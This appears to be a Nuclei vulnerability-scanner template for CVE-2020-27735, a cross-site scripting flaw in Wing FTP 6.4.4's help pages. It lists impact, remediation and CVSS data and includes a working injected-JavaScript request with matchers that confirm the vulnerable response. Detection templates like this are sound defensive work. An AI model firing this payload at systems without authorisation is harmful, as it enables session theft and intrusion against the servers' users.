51 lines
1.9 KiB
YAML
51 lines
1.9 KiB
YAML
id: CVE-2020-27735
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info:
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name: Wing FTP 6.4.4 - Cross-Site Scripting
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author: pikpikcu
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severity: medium
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description: |
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Wing FTP 6.4.4 is vulnerable to cross-site scripting via its web interface because an arbitrary IFRAME element can be included in the help pages via a crafted link, leading to the execution of (sandboxed) arbitrary HTML and JavaScript in the user's browser.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Upgrade to the latest version of Wing FTP server or apply the vendor-provided patch to mitigate this vulnerability.
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reference:
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- https://www.wftpserver.com/serverhistory.htm
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- https://wshenk.blogspot.com/2021/01/xss-in-wing-ftps-web-interface-cve-2020.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-27735
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2020-27735
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cwe-id: CWE-79
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epss-score: 0.00216
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epss-percentile: 0.59411
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cpe: cpe:2.3:a:wftpserver:wing_ftp_server:6.4.4:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: wftpserver
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product: wing_ftp_server
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tags: cve,cve2020,xss,wing-ftp,wftpserver
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http:
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- method: GET
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path:
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- "{{BaseURL}}/help/english/index.html?javascript:alert(document.domain)"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '<frame name="hmcontent" src="javascript:alert(document.domain)" title="Content frame">'
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100d691b306b89943c502992a0b7bcc3e2e0e08e23d2158f43cde676ff1467b5b2b022021b00e0acaf8c78ba0b201f94ccb23cbc5daf877bfeb96106497ec211a176974:922c64590222798bb761d5b6d8e72950 |